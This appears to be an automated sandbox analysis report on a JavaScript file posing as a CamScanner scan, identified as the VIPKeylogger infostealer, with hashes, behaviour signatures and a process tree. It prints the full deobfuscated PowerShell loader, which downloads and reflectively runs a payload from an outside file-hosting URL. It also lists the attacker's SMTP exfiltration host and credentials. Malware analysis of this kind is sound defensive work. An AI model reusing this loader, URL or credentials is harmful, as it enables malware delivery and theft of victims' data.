Analysis

  • max time kernel
    94s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/02/2025, 15:02

General

  • Target

    CamScanner 02-18-20250535.js

  • Size

    311KB

  • MD5

    0de9fff98db3ba4094c5aa81d6c67423

  • SHA1

    c1350fa5569ad8d00231da2cde9955c34757fba5

  • SHA256

    554b9322949c5330f897d744e542da4d8db44ec6b193ed36374c386fb8cdb0c0

  • SHA512

    1fe18f132389031057617a771dd0aab9fce470156eae586d607da651d7506f8e6d51ba432149db749fd614a58873262fbfae1bc132e10f7b14f1bcdb700a3703

  • SSDEEP

    3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5HRbUj:soYfL

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

exe.dropper

https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    142.171.169.81
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    !z34db8K4

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\CamScanner 02-18-20250535.js"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$panthera = 'jLg3x/sr.e#sap//:sp##h';$roflcopter = $panthera -replace '#', 't';$liegemen = 'https://3005.filemail.com/api/file/get?filekey=nIx_5T0LxHOBjilNb9CRviabPjrW2dlC-LxeOdJPF_Z_1MP6CuQBS5KcptA&pk_vid=342803d1cc4e3b801739359203b5fe9d';$arecaceae = New-Object System.Net.WebClient;$Mochi = $arecaceae.DownloadData($liegemen);$mulligans = [System.Text.Encoding]::UTF8.GetString($Mochi);$debations = '<<BASE64_START>>';$ammonite = '<<BASE64_END>>';$abludes = $mulligans.IndexOf($debations);$heartstoppingly = $mulligans.IndexOf($ammonite);$abludes -ge 0 -and $heartstoppingly -gt $abludes;$abludes += $debations.Length;$monopoly = $heartstoppingly - $abludes;$ganocephalan = $mulligans.Substring($abludes, $monopoly);$fuckroom = [System.Convert]::FromBase64String($ganocephalan);$Shermanesque = [System.Reflection.Assembly]::Load($fuckroom);$orbiting = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($roflcopter,'','','','MSBuild','','','','','','','','','',''))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3048
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:4224

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bbk0r51a.w3r.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3048-17-0x00007FFF69190000-0x00007FFF69C51000-memory.dmp

    Filesize

    10.8MB

  • memory/3048-21-0x00007FFF69190000-0x00007FFF69C51000-memory.dmp

    Filesize

    10.8MB

  • memory/3048-12-0x00007FFF69190000-0x00007FFF69C51000-memory.dmp

    Filesize

    10.8MB

  • memory/3048-13-0x00007FFF69190000-0x00007FFF69C51000-memory.dmp

    Filesize

    10.8MB

  • memory/3048-14-0x0000021FF6CB0000-0x0000021FF6EB6000-memory.dmp

    Filesize

    2.0MB

  • memory/3048-15-0x00007FFF69193000-0x00007FFF69195000-memory.dmp

    Filesize

    8KB

  • memory/3048-16-0x0000021FDC5D0000-0x0000021FDC5DC000-memory.dmp

    Filesize

    48KB

  • memory/3048-1-0x00007FFF69193000-0x00007FFF69195000-memory.dmp

    Filesize

    8KB

  • memory/3048-11-0x0000021FF6820000-0x0000021FF6842000-memory.dmp

    Filesize

    136KB

  • memory/3048-18-0x00007FFF69190000-0x00007FFF69C51000-memory.dmp

    Filesize

    10.8MB

  • memory/4224-19-0x0000000000400000-0x0000000000448000-memory.dmp

    Filesize

    288KB

  • memory/4224-22-0x0000000005A90000-0x0000000006034000-memory.dmp

    Filesize

    5.6MB

  • memory/4224-23-0x00000000054E0000-0x000000000557C000-memory.dmp

    Filesize

    624KB

  • memory/4224-24-0x0000000006930000-0x0000000006AF2000-memory.dmp

    Filesize

    1.8MB

  • memory/4224-25-0x00000000067D0000-0x0000000006820000-memory.dmp

    Filesize

    320KB

  • memory/4224-26-0x0000000007030000-0x000000000755C000-memory.dmp

    Filesize

    5.2MB

  • memory/4224-27-0x0000000006BA0000-0x0000000006C32000-memory.dmp

    Filesize

    584KB

  • memory/4224-28-0x0000000006B20000-0x0000000006B2A000-memory.dmp

    Filesize

    40KB